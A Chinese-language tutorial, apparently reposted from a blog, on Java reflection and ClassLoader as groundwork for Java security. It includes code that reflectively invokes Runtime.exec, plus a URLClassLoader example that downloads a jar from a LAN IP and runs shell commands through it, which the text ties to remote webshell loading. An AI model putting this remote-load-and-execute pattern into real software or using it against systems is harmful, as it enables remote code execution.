-
Java 反射機制
- 反射 java.lang.Runtime
-
ClassLoader 類加載機制
- URLClassLoader
- loadClass() 與 Class.forName() 的區(qū)別?
Java 反射機制
Java 反射(Reflection)是 Java 非常重要的動態(tài)特性。在運行狀態(tài)中,通過 Java 的反射機制,我們能夠判斷一個對象所屬的類。了解任意一個類的所有屬性和方法。能夠調用任意一個對象的任意方法和屬性。
Java 反射機制可以無視類方法、變量的訪問權限修飾符,并且可以調用類的任意方法、訪問并修改成員變量值。
對于一般的程序員來說反射的意義不大,對于框架開發(fā)者來說,反射作用就非常大了,反射是各種容器、框架實現(xiàn)的核心技術。
獲取 Class 對象
Java 反射操作的是 java.lang.Class 對象,所以我們需要先想辦法獲取到 Class 對象。
- 類字面常量來獲取
Class<?> name = MyClass.class;
- 通過對象獲取 getClass() 方法
MyClass obj = new MyClass();
Class<?> name = obj.getClass();
- 通過全限定名獲取 Class.forName() 方法
Class<?> name = Class.forName("java.lang.Runtime");
- 使用 getSystemClassLoader().loadClass() 方法
Class<?> name = ClassLoader.getSystemClassLoader().loadClass("java.lang.Runtime");
獲取類成員變量
- getDeclaredFields 方法
獲得類的成員變量數(shù)組,包括 public、private 和 proteced,但是不包括父類的聲明字段。
Field[] fields = classname.getDeclaredFields();
- getDeclaredField 方法
該方法與 getDeclaredFields 的區(qū)別是只能獲得類的單個成員變量。
Field field = classname.getDeclaredField("變量名");
- getFields 方法
getFields 能夠獲得某個類的所有的 public 字段,包括父類中的字段。
Field[] fields = classname.getFields();
- getField 方法
與 getFields 類似,getField 方法能夠獲得某個類特定的 public 字段,包括父類中的字段。
Field field = classname.getField(("變量名");
獲取類方法
- getDeclaredMethods 方法
返回類或接口聲明的所有方法,包括 public、protected、private 和默認方法,但不包括繼承的方法。
Method[] methods = classname.getDeclaredMethods()
- getDeclaredMethod 方法
只能返回一個特定的方法,該方法的第一個參數(shù)為方法名,第二個參數(shù)名是方法參數(shù)。
Method methods = classname.getDeclaredMethods("方法名")
- getMethods 方法
返回某個類的所有 public 方法,包括其繼承類的 public 方法。
Method[] methods = classname.getMethods();
- getMethod 方法
只能返回一個特定的方法,該方法的第一個參數(shù)為方法名稱,后面的參數(shù)為方法的參數(shù)對應 Class 的對象。
Method method = clazz.getMethod("方法名");
反射 java.lang.Runtime
java.lang.Runtime 有一個 exec 方法,可以反射調用 Runtime 類來執(zhí)行本地系統(tǒng)命令。
不使用反射執(zhí)行本地命令:
import java.io.IOException;
public class Exec {
public static void main(String[] args) throws IOException {
Runtime.getRuntime().exec("calc");
}
}
反射 Runtime 執(zhí)行本地命令:
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class ReflectionExec {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException,
InvocationTargetException, IllegalAccessException {
// 獲取 Runtime 類
Class<?> clazz = Class.forName("java.lang.Runtime");
// 獲取 Runtime 類的 getRuntime() 方法
Method getRuntimeMethod = clazz.getMethod("getRuntime");
// 調用 getRuntime() 方法,獲取 Runtime 對象
Object runtimeObject = getRuntimeMethod.invoke(null);
// 獲取 exec(String command) 方法
Method execMethod = clazz.getMethod("exec", String.class);
// 執(zhí)行系統(tǒng)命令
execMethod.invoke(runtimeObject, "clac");
}
}
間接的調用 Runtime 的 exec 方法執(zhí)行本地系統(tǒng)命令。
反射機制的功能很強大,不安全的反射可能會帶來致命的漏洞。
ClassLoader 類加載機制
Java 是編譯型語言,編寫的 java 文件需要編譯成后 class 文件后才能夠被 JVM 運行。類加載器 ClassLoader 負責加載類文件,生成對應的 Class 對象。
JVM 提供的三種類加載器
- Bootstrap ClassLoader(啟動類加載器)
負責加載 Java 的核心類,比如 java.lang.Object 等。它是由 C++ 實現(xiàn)的,并且不是 Java 類。
- Extension ClassLoader(擴展類加載器)
負責加載 Java 的擴展類,位于 <JAVA_HOME>/lib/ext 目錄下的JAR包或類。
- System ClassLoader(系統(tǒng)類加載器)
也稱為應用類加載器,負責加載應用程序的類,通常從 classpath 中加載類。
值得注意的是,Bootstrap ClassLoader 它是 JVM 自身的一部分,并不是 ClassLoader 的子類,無法直接獲取對其的引用。所以嘗試獲取被 Bootstrap ClassLoader 類加載器所加載的類的 ClassLoader 時候都會返回 null。
除了這三種,還可以自定義類加載器。
ClassLoader 類中和加載類相關的方法
-
getParent() 返回該類加載器的父類加載器
-
loadClass() 加載指定的類
-
findClass() 查找指定的類
-
findLoadedClass() 查找已經(jīng)被加載過的類
-
defineClass() 定義一個類
-
resolveClass() 鏈接指定的Java類
ClassLoader類加載流程
- 檢查是否已經(jīng)加載過類
在加載類之前,會首先使用 findLoadedClass() 方法判斷該類是否已經(jīng)被加載,如果已經(jīng)加載過,則直接返回對應的 Class 對象。
- 委托給父類加載器
如果未被加載,則優(yōu)先使用加載器的父類加載器進行加載,如果加載成功,則返回對應的 Class 對象。
- 自行嘗試加載類
如果父類加載器無法加載該類,或者父類加載器為空,則會調用自身的 findClass() 方法嘗試自行加載該類。
- 鏈接和初始化
在成功加載類之后,類加載器會對其進行鏈接和初始化操作。
- 返回 Class 對象
返回一個被 JVM 加載后的 java.lang.Class 類對象。
ClassLoader 的 loadClass 方法核心邏輯代碼:
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
synchronized (getClassLoadingLock(name)) {
Class<?> c = findLoadedClass(name);
if (c == null) {
long t0 = System.nanoTime();
try {
if (parent != null) {
c = parent.loadClass(name, false);
} else {
c = findBootstrapClassOrNull(name);
}
} catch (ClassNotFoundException e) {
}
if (c == null) {
c = findClass(name);
}
}
if (resolve) {
resolveClass(c);
}
return c;
}
}
自定義的類加載器
通過重寫 findClass() 方法,利用 defineClass() 方法來將字節(jié)碼轉換成 java.lang.class 類對象,可以實現(xiàn)自定義的類加載器。
URLClassLoader
URLClassLoader 類是 ClassLoader 的一個實現(xiàn),擁有從遠程服務器上加載類的能力。
通過 URLClassLoader 可以實現(xiàn)遠程的類方法調用,可以實現(xiàn)對一些 WebShell 的遠程加載。
例如:通過 URLClassLoader 來加載一個遠程的 jar 包執(zhí)行本地命令
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.InvocationTargetException;
import java.net.URL;
import java.net.URLClassLoader;
public class TestURLClassLoader {
public static void main(String[] args) throws IOException,
ClassNotFoundException, NoSuchMethodException, InvocationTargetException,
IllegalAccessException {
// 定義遠程加載的jar的URL路徑
URL url = new URL("http://192.168.88.150/CMD.jar");
// 創(chuàng)建URLClassLoader對象,并加載遠程jar包
URLClassLoader ucl = new URLClassLoader(new URL[]{url});
// 通過URLClassLoader加載遠程jar包中的CMD類
Class<?> cmdClass = ucl.loadClass("CMD");
String cmd = "ls";
// 調用CMD類中的exec方法
Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);
// 獲取命令執(zhí)行結果的輸入流
InputStream in = process.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
// 讀取命令執(zhí)行結果
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
// 輸出命令執(zhí)行結果
System.out.println(baos.toString());
}
}
其中遠程的 CMD.jar 中就一個 CMD.class 文件,對應的 CMD.java 如下:
import java.io.IOException;
public class CMD {
public static Process exec(String cmd) throws IOException {
return Runtime.getRuntime().exec(cmd);
}
}
成功調用 CMD 類中的 exec 方法,執(zhí)行了 ls 命令。
loadClass() 與 Class.forName() 的區(qū)別?
loadClass() 方法和 Class.forName() 方法都可以用于在運行時加載類。
主要區(qū)別:
-
loadClass() 方法是 ClassLoader 類的一個方法,通過指定的類加載器加載類,它在加載類時不會自動執(zhí)行類的靜態(tài)初始化代碼。
-
Class.forName() 方法是 java.lang.Class 類的一個靜態(tài)方法,它在加載類時會自動執(zhí)行類的靜態(tài)初始化代碼。文章來源:http://www.zghlxwxcb.cn/news/detail-855160.html
若有錯誤,歡迎指正!o( ̄▽ ̄)ブ文章來源地址http://www.zghlxwxcb.cn/news/detail-855160.html
到了這里,關于Java安全基礎之Java反射機制和ClassLoader類加載機制的文章就介紹完了。如果您還想了解更多內容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關文章,希望大家以后多多支持TOY模板網(wǎng)!